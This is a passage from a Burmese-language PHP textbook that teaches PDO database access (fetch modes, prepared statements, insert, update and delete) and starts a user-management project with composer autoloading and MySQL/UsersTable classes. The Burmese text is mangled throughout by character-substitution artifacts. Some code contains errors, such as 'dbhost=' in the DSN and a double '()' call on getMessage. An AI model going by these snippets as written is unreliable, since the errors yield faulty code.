လက်ရှိနမူနာက  မဖြပည့်စုံပေသးပါဘူး။  MySQL  Database  Server  ကို  ဆက်သွယ်တဲ့အ]ါ  မှန်ကန်တဲ့
Username  နဲ့  Password  ပေပးK့ုိလုိပါတယ်။  XAMPP  ကထည့်သွင်းပေပးလိုက်တဲ့  MySQL  ရဲ့  Default
Username  က  root ဖြKစ်ပြပီး  Password  ပေတာ့ သတ်မှတ်ထားဖြ]င်း မရှိပါဘူး။ ဒါပေကြကာင့် ဖြပည့်စုံပေအာင်
အ]ုလုိ ပေရးပေပးရမှာပါ။

$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '');

ပထမ  Argument  အတွက်  DSN  ကိုပေပးပြပီး  ဒုတိယနဲ့  တတိယ  Argument  ပေတွအဖြKစ်  Username  နဲ့
Password  ကိုပေပးလုိက်တာပါ။  ဒါဆိုရင်ပေတာ့  Database  ]ျတိ်ဆက်မှု  ပေအာင်ဖြမင်သွားပါပြပီ။  ပေအာင်ဖြမင်
သွားပြပီဆိုပေပမယ့်၊ ပုိဖြပည့်စုံပေအာင် ပေနာက်ထပ် ဖြKည့်စွက်စရာပေလး ကျန်ပါပေသးတယ်။ ဒီလိုပါ – 
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$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,

PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

ပေနာက်ဆုံး (၄) ]ုပေဖြမာက် Argument အပေနနဲ့ Option Array တစ်]ုကို ပေပးထားပြပီး၊ အထဲမှာ Error Mode
နဲ့  Fetch Mode  သတ်မှတ်]ျက်တို့  ပါဝင်ပါတယ်။ ဒါပေတွက  PDO  မှာပါတဲ့  Default  Constant  ပေတွပါ။
Default Error Mode က SILENT ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် Error ရိှရင် ဖြပမှာ မဟုတ်ပါဘူး။ သိ]ျင်ရင် ကိုယ့်
ဘာသာ ထုတ်ကြကည့်ရပါတယ်။  အလုပ်ရှုပ်ပါတယ်။  ဒါပေကြကာင့်  အ]ုရှုပ်မှ  ပေနာင်ရှင်းပေအာင်  စကတည်းက
Error Mode ကို WARNING လ့ုိ ပေဖြပာလုိက်တာပါ။ Error ရိှလာ]ဲ့ရင် Warning အပေနနဲ့ ပေKာ်ဖြပပေပးပေစK့ုိ ဖြKစ်
ပါတယ်။ Fetch Mode ဆိုတာ Data ထုတ်ယူတဲ့အ]ါ ဖြပန်ရမယ့် ရလဒ်ရဲ့ Kဲွ့စည်းပံု ဖြKစ်ပါတယ်။ Default
Fetch  Mode  က  Array  ဖြKစ်ပါတယ်။  ဖြပဿနာပေတာ့  မရှိပါဘူး။  ဒါပေပမယ့်  Object-Oriented  ပံုစံ  ပေရး
လက်စနဲ့ ဖြပန်ရတဲ့ Data ကို Object အပေနနဲ့ယူလုိက်တာက ပေရးရတဲ့ကုဒ်ကို ပုိပြပီးပေတာ့ Consistence ဖြKစ်
သွားပေစနိုင်လို့ Fetch Mode ကို OBJ လ့ုိ သတ်မှတ်ပေပးလုိက်တာပါ။ ဒါပေကြကာင့် Data ထုတ်ယူတဲ့အ]ါ ရတဲ့
ရလဒ်ကို Object အပေနနဲ့ ရရှိမှာဖြKစ်ပါတယ်။

နမူနာစမ်းသပ်ပြပီး  Data  ပေတွထုတ်ကြကည့်နိုင်K့ုိအတွက်  PDO  မှာ  Fetch  Method  (၃)  မျ ို းရှိပါတယ်။
fetch(), fetchAll()  နဲ့�� fetchObject() တို့ဖြKစ်ပါတယ်။  fetchAll() ကို အသံုးဖြပုပြပီး
အ]ုလုိ စမ်းသပ် ကြကည့်နိုင်ပါတယ်။

 PHP 

<?php

$db = new PDO('mysql:dbhost=localhost;dbname=project', 'root', '', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING,

PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,

]);

$statement = $db->query("SELECT * FROM roles");

$result = $statement->fetchAll();

print_r($result);
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ရလဒ်အပေနနဲ့ roles Table ထဲမှာရှတိဲ့ Record ပေတွကို Object Array တစ်]ုအပေနနဲ့ အ]ုလုိ ဖြပန်ရတာကို
ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

Array
(
    [0] => stdClass Object
        (
            [id] => 1
            [name] => User
            [value] => 1
        )

    [1] => stdClass Object
        (
            [id] => 2
            [name] => Manager
            [value] => 2
        )

    [2] => stdClass Object
        (
            [id] => 3
            [name] => Admin
            [value] => 3
        )

)

အ]ုရှုပ်မှ ပေနာင်ရှင်းဆိုတာ ဒါမျ ို းကို ပေဖြပာတာပါ။  Database ကိုဆက်သွယ်စဉ်မှာ လုိအပ်တာပေတွ အကုန်
သတ်မှတ်ထားလ့ုိ  အ]ုလုိ  အလွယ်တစ်ကူ  ထုတ်ယူရရှိဖြ]င်းဖြKစ်ပါတယ်။  fetchAll()   Method    က ရှိ  

သမ�    Record    အားလံုးကို  တစ်]ါထဲ  အကုန်ထုတ်ယူလိုက်တာဖြKစ်လုိ့    Record    ပေတွသိပ်များတဲ့အ]ါ  
အဆင်ပေဖြပ]ျင်မှ  ပေဖြပပါလိမ့်မယ်။  များတယ်ဆိုတာ သိန်းဂဏန်းရှိတဲ့  Record  ပေတွကို  ပေဖြပာတာပါ။  သိန်း
ဂဏန်းရှိတဲ့  Record  ပေတွကိုသာ  အကုန်Kတ်ယူပြပီး  တစ်]ါထဲ  Object  Array  အပေနနဲ့  ဖြပန်ပေပးလုိက်ရင်
ဖြပဿနာပေတွ  တက်ကုန်ပါလိမ့်မယ်။  ဒီလုိအပေဖြ]အပေနမျ ို းမှာ  fetch() သ့ုိမဟုတ်  fetchObject()
ကို သံုးနိုင်ပါတယ်။ ဒီ  Method ပေတွကတစ်ကြကိမ်မှာ တစ်ပေကြကာင်းသာ ထုတ်ယူပေပးတဲ့  Method ပေတွပါ။ ဒီ
လုိစမ်းကြကည့်နိုင်ပါတယ်။
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$statement = $db->query("SELECT * FROM roles");

$row1 = $statement->fetch();
$row2 = $statement->fetch();
$row3 = $statement->fetch();

print_r($row1);

// stdClass Object
// (
//     [id] => 1
//     [name] => User
//     [value] => 1
// )

(၃) ပေကြကာင်းရှိမှန်းသိလ့ုိ fetch() ကို သံုးကြကိမ် Run ထားပါတယ်။ တစ်ကြကိမ်မှာတစ်ပေကြကာင်းပဲ ရမှာဖြKစ်
လ့ုိ $row1 ထဲမှာ ပထမတစ်ပေကြကာင်း ရိှပြပီး၊ $row2 ထဲမှာ ဒုတိယတစ်ပေကြကာင်း ရိှပေနမှာပါ။ ဒီနည်းနဲ့ တစ်
ပေကြကာင်းပြပီးတစ်ပေကြကာင်း ပေထာက်ယူရတာ နည်းနည်းအလုပ်ပုိ ရှုပ်သွားပေပမယ့် Data များရင်ပေတာ့ ဒီနည်း
ကို အသံုးဖြပုရမှာ ဖြKစ်ပါတယ်။

fetchObject() က  fetch() နဲ့  အတူတူပါပဲ။  Fetch Mode  ကို  OBJ  လ့ုိ ကြကိုတင်မသတ်မှတ်ဘဲ
ရလဒ်ကို  Object အပေနနဲ့လုိ]ျင်ရင် fetchObject() ကို သံုးရတာပါ။ အ]ုပေတာ့ ကြကိုတင်သတ်မှတ်ပြပီး
သားမ့ုိလို့ မလိုအပ်ပေတာ့ပါဘူး။ ရိုးရိုး fetch() နဲ့တင် အဆင်ပေဖြပပေနပါပြပီ။

Data ပေတွထည့်သွင်းတာလည်း ဒီနည်းအတိုင်းပါပဲ။ INSERT Query ကိုပေပးလုိက်ရင် ထည့်သွင်းပေပးသွားပါ
လိမ့်မယ်။ ဒီလုိစမ်းကြကည့်နိုင်ပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES ('Supervisor', 4)";

$db->query($sql);

echo $db->lastInsertId(); // 4

နမူနာမှာ lastInsertId() Method ကိုသတိဖြပုပါ။ အသံုးဝင်ပါတယ်။ ထည့်သွင်းလုိက်တဲ့ Record ရဲ့
Auto Increment ID တန်Kုိးကို ဖြပန်ပေပးပါတယ်။ စမ်းကြကည့်ပြပီး အမှန်တစ်ကယ် သိမ်းဆည်းသွားဖြ]င်း ရှိမရှိ



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၁၄) – MySQL Database 226

ကို phpMyAdmin ကပေနတစ်ဆင့် roles Table မှာ ပေလ့လာကြကည့်နိုင်ပါတယ်။

ဒီပေနရာမှာ  ဖြKည့်စွက်ပေလ့လာရမှာကပေတာ့  Prepare  Statement  လ့ုိပေ]ါ်တဲ့  အပေရးပါတဲ့  ပေရးဟန်ဖြKစ်ပါ
တယ်။ ပေစာပေစာက ကုဒ်ကို အ]ုလုိပေရးရင် ပုိပေကာင်းပါတယ်။

$sql = "INSERT INTO roles (name, value) VALUES (:name, :value)";

$statement = $db->prepare($sql);

$statement->execute([
    ':name' => 'God',
    ':value' => 999
]);

echo $db->lastInsertId();   // 5

ပေသ]ျာသတိဖြပုကြကည့်ပါ။  SQL Query    ထဲမှာ  တစ်ကယ့်    Data    မပါပေတာ့ပါဘူး  ။  Placeholder  လ့ုိပေ]ါ်တဲ့
Data  လာမယ့်  ပေနရာအမှတ်အသားပဲ  ပါပါပေတာ့တယ်။  နမူနာမှာ  :name နဲ့  :value တို့ဟာ
Placeholder ပေတွဖြKစ်ကြကပါတယ်။ အ့ဲဒီလုိ Data မပါပေသးတဲ့ Query ကို prepare() Method နဲ့ အရင်
ဆုံး  Prepare လုပ်ပါတယ်။ ပြပီးပေတာ့မှ  execute() Method နဲ့ အစားထုိးအသံုးဖြပုရမယ့် Data ပေတွကို
ပေပးလုိက်တာပါ။ ရလဒ်က အတူတူပါပဲ။ ဒါပေပမယ့် ဒီနည်းကပေန အားသာ]ျက် (၂) ]ျက်ကိုရမှာပါ။

ပထမတစ်]ျက်ကပေတာ့၊ Query တစ်]ု Run K့ုိအတွက် Database က လုိအပ်တဲ့ ဖြပင်ဆင်မှုပေတွ တွက်]ျက်
မှုပေတွ  လုပ်ရပါတယ်။  ဒီအလုပ်ကို  ပံုမှန်အားဖြKင့်  Query  (၁၀)  ]ါ  Run  ရင်  (၁၀)  ]ါ  လုပ်ရပါတယ်။
Prepare  Statement  ကို  အသံုးဖြပုတဲ့အ]ါ  Data  မပါတဲ့  Query  အလွတ်ကို  တစ်ကြကိမ်သာ  ဖြပင်ဆင်
တွက်]ျက်မှု လုပ်ပါပေတာ့တယ်။ ပေနာက်ပုိင်းမှာ Data ကိုဘယ်နှစ်]ါပဲပေပးပေပး Run ရမယ့် Query ကိုဖြပန်ပြပီး
ပေတာ့ ဖြပင်ဆင်တွက်]ျက်စရာ မလုိအပ်ပေတာ့ပါဘူး။ ဒါပေကြကာင့်  Query    ပေတွ ထပ်]ါထပ်]ါ    Run    တဲ့အ]ါ ဒီ  
နည်းက သိသိသာသာ ပုိဖြမန်သွားပေစမှာပဲ ဖြKစ်ပါတယ်။

ပေနာက်တစ်]ျက်ကပေတာ့  SQL  Injection  လ့ုိပေ]ါ်တဲ့  လံုခြ]ုံပေရးဖြပဿနာကို  ဒီနည်းက  အလုိအပေလ�ာက်
အကာအကွယ်ပေပးပါတယ်။  SQL  Injection  ရဲ့  သပေဘာသဘာဝကို  Security  အ]န်းပေရာက်တဲ့အ]ါမှ
ထပ်ပေဖြပာပါမယ်။  ဒီပေနရာမှာပေတာ့  Query  နဲ့  Data  ကို  နှစ်ပုိင်း  ]ွဲထုတ်လုိက်တဲ့အတွက်  Data  ထဲမှာ
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Database  ကို  ထိ]ိုက်ပေစနိုင်တဲ့  အန္တရာယ်ရှိတဲ့  အ]ျက်အလက်ပေတွ  ပါဝင်လာ]ဲ့ရင်၊  အ့ဲဒီအ]ျက်အလက်
ပေတွဟာ Query ကို Prepare လုပ်စဉ်မှာ ပါဝင်သွားမှာ မဟုတ်တဲ့အတွက် အန္တရာယ် မပေပးနိုင်ပေတာ့ဘူးလ့ုိ
မှတ်နိုင်ပါတယ်။ ကျန်လုပ်ငန်းပေတွဖြKစ်တဲ့ Update နဲ့ Delete တို့ကို စမ်းသပ်လုိရင် အ]ုလုိ စမ်းသပ်ကြကည့်
နိုင်ပါတယ်။

$sql = "UPDATE roles SET name=:name WHERE value = 999";

$statement = $db->prepare($sql);

$statement->execute([
    ':name' => 'Superman'
]);

echo $statement->rowCount();   // 1

ဒီပေနရာမှာ အသံုးဖြပုထားတဲ့ rowCount() Method ကိုလည်း ထည့်သွင်းမှတ်သားပါ။ အသံုးဝင်ပါတယ်။
Query တစ်]ု Run လုိက်တဲ့အတွက် ဖြKစ်ပေပါ်သွားတဲ့ အပေဖြပာင်းအလဲ Record အပေရအတွက်ကို ဖြပန်ပေပးပါ
တယ်။  ပေစာပေစာက  INSERT  မှာ  သံုး]ဲ့တဲ့  lastInsertId() ကို  $db ပေပါ်မှာ  Run  ရပြပီး
rowCount() ကို $statement ပေပါ်မှာ Run ရတယ်ဆိုတာကို သတိဖြပုပါ။ မတူကြကပါဘူး။

$sql = "DELETE FROM roles WHERE id > 3";

$statement = $db->prepare($sql);

$statement->execute();

echo $statement->rowCount();   // 2

ဒီတစ်]ါ  DELETE FROM Query  ကို  Run  ထားတာပါ။  id တန်Kုိး  3  ထက်ကြကီးတာ နှစ်]ရုှိပေနလ့ုိ  နှစ်
ပေကြကာင်း ပျက်သွားပါတယ်။ ဒါပေကြကာင့် rowCount() က 2 ကိုဖြပန်ပေပးတာပါ။

ဒီပေလာက်ဆိုရင်  PDO  ကို  အသံုးဖြပုပြပီး  Database  နဲ့]ျတိ်ဆက်ပြပီး  Data  ပေတွစီမံပံုကို  သိရှိသွားပါပြပီ။
ပေနာက်တစ်]န်းမှာ လုပ်လက်စ ပပေရာဂျက်နဲ့အတူ ဒီကုဒ်ပေတွကို လက်ပေတွ့အသုံး]ျသွားကြကမှာပါ။
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အခန်း (၁၅) – Project

 

ပေလ့လာ]ျင်တာပေတွလည်း  စုံသင့်သပေလာက်  စုံသွားပြပီမ့ုိလို့  ပေရးလက်စ  ပပေရာဂျက်ပေလးကို  လက်စသတ်
]ျင်ပါတယ်။ ပပေရာဂျက်ရဲ့ Folder Structure အဖြပည့်အစုံကို အရင်ဆုံး ပေKာ်ဖြပလုိက်ပါတယ်။
 

project/
├── _actions/
│     ├── photos/
│     ├── create.php
│     ├── delete.php
│     ├── login.php
│     ├── logout.php
│     ├── populate.php
│     ├── role.php
│     ├── suspend.php
│     ├── unsuspend.php
│     └── upload.php
│
├── _classes/
│     ├── Helpers/
│     │     ├── Auth.php
│     │     └── HTTP.php
│     └── Libs/
│           └── Database/
│                ├── MySQL.php
│                └── UsersTable.php
├── css/
│     └── bootstrap.min.css
│
├── js/
│     └── bootstrap.bundle.min.js
│
├── admin.php
├── composer.json
├── index.php
├── profile.php
└── register.php
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ပထမဆုံး  _actions Kုိဒါထဲမှာ တိုးသွားတဲ့Kုိင်ပေတွကို  အရင်သတိဖြပုပါ။  create.php က  Register
လုပ်တဲ့အ]ါ  User  Account  ကို  users Table  ထဲမှာ  သိမ်းတဲ့ကုဒ်ပေရးKို့ပါ။  delete.php ကပေတာ့
User Account ကို ဖြပန်Kျက်တဲ့ကုဒ်ပေရးK့ုိပါ။  populate.php ကပေတာ့ users Table ထဲမှာ စမ်းစရာ
နမူနာ Account ပေတ]ွပ်များများ ထည့်ပေပးလိုက်K့ုိပါ။ role.php ကပေတာ့ User ရဲ့ Role ပေဖြပာင်းတဲ့ကုဒ်
ပေရးK့ုိပါ။ suspend.php နဲ့ unsuspend.php တို့ကပေတာ့ User ကို Ban တဲ့ကုဒ်နဲ့ ဖြပန်Kွင့်ပေပးတဲ့ကုဒ်
ပေတွ ပေရးK့ုိဖြKစ်ပါတယ်။

_classes အမည်နဲ့  Kုိဒါအသစ်တစ်]ုလည်း ပါဝင်လာပါတယ်။ သ့ူထဲမှာ  Helpers နဲ့  Libs ဆိုတဲ့
ထပ်ဆင့် Kုိဒါပေတွ ရိှပေနပါတယ်။ Helpers ထဲက Auth.php ကို User Login ဝင်ထားမထား စစ်တဲ့ကုဒ်
ကို  ပေရးK့ုိဖြKစ်ပါတယ်။  လုိတဲ့ပေနရာကပေန  ပေ]ါ်သံုးK့ုိ  ရည်ရွယ်ပါတယ်။  HTTP.php မှာပေတာ့  Redirect
လုပ်ပေဆာင်]ျက်ကို  လုိတဲ့ပေနရာက  ပေ]ါ်သံုးနိုင်K့ုိ  ပေရးထားပေပး]ျင်လ့ုိပါ။  မဟုတ်ရင်  header() နဲ့
Redirect လုပ်တဲ့အ]ါ ../ နဲ့ အဖြပင်ထွက်ရတာပေတွ exit() နဲ့ ရပ်ရတာပေတွ ကိုယ်ဘာသာ ]ဏ]ဏ
ပေရးပေနရပါလိမ့်မယ်။  တစ်]ါပေရးထားပြပီးပေတာ့  ပေ]ါ်သံုးလုိက်]ျင်ပါတယ်။  ဒီလုိပေလး ]ွဲပေပးထားတဲ့အတွက်
ပေနာက်ပုိင်းလိုအပ်ရင် Auth နဲ့ ပက်သက်တဲ့ ထပ်တိုးလုပ်ပေဆာင်]ျက်ပေတွ၊  HTTP နဲ့ပက်သက်တဲ့ ထပ်တိုး
လုပ်ပေဆာင်]ျက်ပေတွ ဒီထဲမှာ လာပေရးလုိက်ယံုပါပဲ။

Libs ထဲမှာပေတာ့  Database အမည်နဲ့  ပေနာက်ထပ်  Kုိဒါတစ်]ုရှိပေနပါပေသးတယ်။  ပေနာက်ပုိင်း  Libs
ပေအာက်မှာ  File  နဲ့ပက်သက်တဲ့  လုပ်ပေဆာင်]ျက်ပေတွ၊  Session  နဲ့ပက်သက်တဲ့  လုပ်ပေဆာင်]ျက်ပေတွ
စသည်ဖြKင့်  ထပ်တိုးလုပ်ပေဆာင်]ျက်ပေတွ  ရှိလာရင်  ထည့်လ့ုိရပေအာင်  ]ွဲထားပေပးတာပါ။  ပေလာပေလာဆယ်
ရှိပေနတဲ့  MySQL.php က  Database  ]ျတိ်ဆက်မှုနဲ့  ပက်သက်တဲ့  ကုဒ်ပေတွ  ပေရးK့ုိဖြKစ်ပြပီး
UsersTable.php တို့ကပေတာ့ users Table ထဲက Data ပေတွကို စီမံတဲ့ကုဒ်ပေတွ ပေရးK့ုိဖြKစ်ပါတယ်။
ဒီပေနရာမှာ  Table Gateway Pattern  လ့ုိပေ]ါ်တဲ့  Design Pattern တစ်မျ ို းကို သံုးပါမယ်။  Table  ကိုသွား
]ျင်ရင်  တိုက်ရိုက်မသွားရဘူး၊  ဒီကပေနဖြKတ်သွားရတယ်ဆိုတဲ့  သပေဘာမျ ို းပါ။  ပေရှ့ပုိင်းမှာ  ပေဖြပာ]ဲ့တဲ့
Repository Pattern နဲ့ သပေဘာသဘာဝ ဆင်တူပါတယ်။ 

js Kုိဒါနဲ့အတူ  bootstrap.bundle.min.js Kုိင်ကိုထည့်ထားပါတယ်။  ဒီKုိင်ကပေတာ့  ကိုယ့်
ဘာသာ ပေရးရမှာ မဟုတ်ပါဘူး။ Bootstrap CSS Framework နဲ့အတူပါလာတဲ့ Kုိင်ကို ယူထည့်ထားပေပးရ
မှာပါ။  ပပေရာဂျက်ပေအာက်တည့်တည့်မှာ  admin.php နဲ့  composer.json တို့ကို  ထပ်တိုးထားပါ
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တယ်။ composer.json Kုိင်ကလည်း ကိုယ့်ဘာသာ ပေဆာက်စရာမလိုပါဘူး။ အ]ုလုိ Command ပေပး
ပြပီး ပေဆာက်လုိက်လ့ုိရပါတယ်။

composer init

ဒီအပေကြကာင်းကို  ပေရှ့ပုိင်းမှာ ပေဖြပာ]ဲ့ပြပီးသားမို့လ့ုိ  Composer  ကပေမးတဲ့ပေမး]ွန်းပေတွကို  ကိုယ့်နှစ်သက်သလုိ
ပေဖြKပြပီး  composer.json Kုိင်ကို  တည်ပေဆာက်လုိက်ပါ။  ပထမဆုံး  လုပ်သင့်တာကပေတာ့  PSR-4
Autoload Setting ကို composer.json မှာ ထည့်သွင်းK့ုိ ဖြKစ်ပါတယ်။ အ]ုလုိထည့်သွင်းပေပးရမှာပါ။

 JSON – composer.json 

{
    "name": "eimg/project",

    "authors": [

        {

            "name": "Ei Maung",

            "email": "eimg@fairwayweb.com"

        }

    ],

    "require": { },

    "autoload": {

        "psr-4": {

            "Libs\\": "_classes/Libs/",

            "Helpers\\": "_classes/Helpers/"

        }

    }

}

ကျန်အပုိင်းပေတွက အတိအကျတူစရာမလုိပါဘူး။  autoload Section  ကိုသာ ပေပးထားတဲ့အတိုင်း  မှန်
ပေအာင်ဖြKည့်စွက်ပေပးရမှာ  ဖြKစ်ပါတယ်။  ဒီပေတာ့မှ  Composer  က  Namespace  Libs ကို  လုိ]ျင်ရင်
_classes/Libs ထဲမှာ ကြကည့်ရမယ်၊ Namespace Helpers ကိုလုိ]ျင်ရင် _classes/Helpers
မှာ ကြကည့်ရမယ်ဆိုတဲ့ စမှတ်ပေတွကို သတိသွားမှာပါ။ ပြပီးရင် dump-autoload ကို Run ပေပးK့ုိ မပေမ့ပါနဲ့။
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composer dump-autoload

ဆက်လက်ပြပီးပေတာ့ လုိအပ်တဲ့ ကုဒ်ပေတွကို ပေရးကြကပါမယ်။ MySQL.php မှာ အ]ုလုိပေရးပေပးပါ။

 PHP 

<?php

namespace Libs\Database;

use PDO;
use PDOException;

class MySQL
{
    private $dbhost;
    private $dbuser;
    private $dbname;
    private $dbpass;
    private $db;

    public function __construct(
        $dbhost = "localhost",
        $dbuser = "root",
        $dbname = "project",
        $dbpass = "",
    ) {
        $this->dbhost = $dbhost;
        $this->dbuser = $dbuser;
        $this->dbname = $dbname;
        $this->dbpass = $dbpass;
        $this->db = null;
    }

    public function connect()
    {
        try {
            $this->db = new PDO(
                "mysql:host=$this->dbhost;dbname=$this->dbname",
                $this->dbuser,
                $this->dbpass,
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,
                ]
            );

            return $this->db;
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        } catch (PDOException $e) {

            return $e->getMessage();
        }
    }
}

Namespace ကို Kုိဒါ Path လမ်းပေကြကာင်းအတိုင်း Libs\Database လ့ုိပေပးထားပါတယ်။ အ]ုပေန PDO
ကို တိုက်ရိုက်သံုးရင် Libs\Database\PDO ဆိုတဲ့ Class ကို လုိက်ရှာမှာပါ။ ရှိမှာ မဟုတ်ပါဘူး။ PDO
က Global Namespace ပေအာက်မှာရှိတာပါ။ ဒါပေကြကာင့် use နဲ့ PDO ကို Import လုပ်ပေပးပြပီးမှ ဆက်သံုး
ထားပါတယ်။  PDO  Error  ပေတွကို  Exception  Handling  နည်းစနစ်နဲ့  စီမံ]ျင်တဲ့အတွက်
PDOException ဆိုတဲ့ Class ကိုလည်း Import လုပ်ထားပါတယ်။

Database  ဆက်သွယ်မှုအတွက်  လုိအပ်တဲ့  dbhost,  dbuser,  dbpass နဲ့  dbname တို့ကို
Constructor Parameter အပေနနဲ့ ပေတာင်းထားပါတယ်။ မပေပး]ဲ့ရင်လည်း ရပါတယ်။ Default Value ပေတွ
အသီးသီး  သတ်မှတ်ထားလ့ုိပါ။  ဒါပေကြကာင့်  Database  Setting  မပေပးဘဲ  ]ျတိ်ဆက်နိုင်သလုိ၊  လုိအပ်ရင်
Setting  ပေပးပြပီးပေတာ့လည်း  ]ျတိ်ဆက်နိုင်သွားမှာ  ဖြKစ်ပါတယ်။  ဒီပေနရာမှာ  PHP  8  ရဲ့  Constructor
Property Promotion ပေရးထံုးကို အသံုးဖြပုရင် ကုဒ်က ပေတာ်ပေတာတ်ိုသွားမှာပါ။ ဒါပေပမယ့် တစ်]ျ ို ့ PHP 8
မရှိပေသးသူပေတွလည်း စမ်း]ျင်ရင် စမ်းလ့ုိရပေအာင် ရိုးရိုးပဲ ပေရးပေပးလိုက်တာပါ။

ပြပီးတဲ့အ]ါ  connect() Method  နဲ့  Database  ကို]ျတိ်ဆက်ထားပါတယ်။ ထူးဖြ]ား]ျက်အပေနနဲ့  Error
Mode ကို ပြပီး]ဲ့တဲ့အ]န်းမှာလုိ WARNING လ့ုိ မပေဖြပာပေတာ့ပါဘူး။ EXCEPTION လ့ုိပေဖြပာထားပါတယ်။ ဒါ
ပေကြကာင့် Error ရှရိင် Warning မပေပးပေတာ့ဘဲ Exception ပေပးသွားမှာပါ။ တစ်ကယ်ပေတာ့ Database နဲ့ပက်
သက်တဲ့  အလုပ်ပေတွ လုပ်ပြပီးရင်  Connection  ကို  ဖြပန်ပိတ်ပေပးရပါတယ်။ ဒါပေပမယ့် အလုပ်တစ်]ုလုပ်လုိ
တိုင်း Database Connection ကို Kွင့်လိုက်ပိတ်လုိက် အပြမဲတမ်း လုပ်ပေနရမှာစိုးလုိ့ ပိတ်တဲ့ Method မပေရး
ပေတာ့ပါဘူး။  ပိတ်]ျင်ရင်  ပိတ်ပံုပိတ်နည်းက လွယ်ပါတယ်။  PDO Object  ရိှပေနတဲ့  $db ကို  Null  ဖြပန်
သတ်မှတ်ပေပးလုိက်ယံုပါပဲ။

Database နဲ့ဆက်သွယ်လုိရင် MySQL Class ရဲ့  connect() Method ကို  Run လုိက်ယံုပဲဖြKစ်ပါတယ်။
ဆက်လက်ပြပီးပေတာ့ UsersTable.php မှာ အ]ုလုိပေရးသားပေပးပါမယ်။
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 PHP 

<?php

namespace Libs\Database;

use PDOException;

class UsersTable
{
    private $db = null;

    public function __construct(MySQL $db)
    {
        $this->db = $db->connect();
    }

    public function insert($data)
    {
        try {
            $query = "
                INSERT INTO users (
                    name, email, phone, address,
                    password, role_id, created_at
                ) VALUES (
                    :name, :email, :phone, :address,
                    :password, :role_id, NOW()
                )

  ";

            $statement = $this->db->prepare($query);
            $statement->execute($data);

            return $this->db->lastInsertId();
        } catch (PDOException $e) {
            return $e->getMessage()();
        }
    }

    public function getAll()
    {
        $statement = $this->db->query("
            SELECT users.*, roles.name AS role, roles.value
            FROM users LEFT JOIN roles
            ON users.role_id = roles.id
        ");

        return $statement->fetchAll();
    }
}
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Dependency Injection နည်းစနစ်ကိုသံုးပြပီး  MySQL Object ကို  Constructor မှာ ပေတာင်းထားပါတယ်။
တစ်ကယ်ပေတာ့  Database  ]ျတိ်တဲ့ကုဒ်ကို သပ်သပ်မ]ွဲဘဲ ဒီထဲမှာပဲ ပေရးလုိက်လို့လည်း ရနိုင်ပါတယ်။ ဒါ
ပေပမယ့် အ]ုလုိ သပ်သပ်]ွဲထားပြပီး  Dependency အပေနနဲ့  Inject လုပ်]ိုင်းလုိက်တဲ့အတွက် ပေနာက်ပုိင်းမှာ
Database အမျ ို းအစား ပေဖြပာင်း]ျင်တာပေတွ ဘာပေတွအတွက် ပုိလွယ်သွားပေစမှာ ဖြKစ်ပါတယ်။

Method  အပေနနဲ့  insert() နဲ့  getAll() တို့ကိပုေရးထားပါတယ်။  Data  ထည့်သွင်းလုိတဲ့အ]ါ
insert() ကိုပေ]ါ်ပြပီး ထည့်သွင်းလုိတဲ့  Data  ပေပးရမှာဖြKစ်ပါတယ်။  getAll() ကပေတာ့ ရှင်းပါတယ်၊
users Table  ထဲက  ရှိသမ�အကုန်  ထုတ်ယူပြပီး  ဖြပန်ပေပးမှာပါ။  ကုဒ်ပေတွပေရးတဲ့အ]ါ  အားလံုးပြပီးဖြပည့်စုံ
ပေအာင်ပေတာ့  မပေရးနိုင်ပါဘူး။  အ]ျနိ်နဲ့  ပေနရာ  အကန့်အသတရ်ှိလို့ပါ။  ဒီပေနရာမှာ  လုိအပ်]ျက်နှစ်]ု  ရိှပါ
တယ်။ ပထမတစ်]ုက Insert မလုပ်]င် Data ကို ဖြပည့်စုံမှန်ကန်မှု ရှိမရှိ စစ်Kို့ဖြKစ်ပါတယ်။ စစ်မထားပါဘူး။
ဒီအတိုင်းပဲ ထည့်ထားပါတယ်။ ဒုတိယတစ်]ုက  getAll() မှာ  try-catch နဲ့  Exception Handle
လုပပ်ေရးK့ုိဖြKစ်ပါတယ်။ Insert မှာပဲ Exception Handle လုပ်ပေရးထားပါတယ်။ တစ်ကယ်ပေတာ့ Database
နဲ့ဆက်သွယ်မှုတိုင်းကို အ့ဲဒီလုိ Exception Handle လုပ်ပေရးပေပးK့ုိ လုိအပ်ပါတယ်။ ပေလာပေလာဆယ်ပေတာ့
တိုသွားပေအာင် ဒီအတိုင်းပဲ  ကျန်လုပ်ပေဆာင်]ျက်ပေတွကို  ဆကပ်ေရးသွားမှာပါ။  ပေနာက်ပုိင်းမှ  စာKတ်သူက
ကိုယ့်အစီအစဉ်နဲ့ကိုယ် လုိက်ဖြKည့်ပေရးပေပးK့ုိ တိုက်တွန်းပါတယ်။

ပြပီးပေတာ့  အ]ုလုိ  Dependency  Injection  ပေတဘွာပေတွနဲ့  ပေရးလာပြပီဆိုရင်  Factory Class  ပေလးတစ်]ု
လည်း ရှိသင့်ပါတယ်။ Object တစ်]ုပေဆာက်]ါနီးတိုင်း လုိအပ်တဲ့ Dependency ကို ကိုယ်ဘာသာ Kန်တီး
ပြပီး ပေပးပေနရတာထက် Factory က Object ပေဆာက်ပေပးလုိက်ရင် ပုိစနစ်ကျပြပီး ပေရရှည်အတွက် ပုိပေကာင်း
သွားမှာ  ဖြKစ်ပါတယ်။  ဒါပေပမယ့်  အ့ဲဒီကိစ္စကိုလည်းပဲ  အိမ်စာအပေနနဲ့  ပေနာက်မှ  စမ်းကြကည့်K့ုိပဲ  ]ျန်ထား
လုိက်ပါတယ်။ ပေလာပေလာဆယ်  Factory  မပါဘဲ ဆက်ပေရးသွားမှာ ဖြKစ်ပါတယ်။  ပေနာက်တစ်ဆင့်အပေနနဲ့
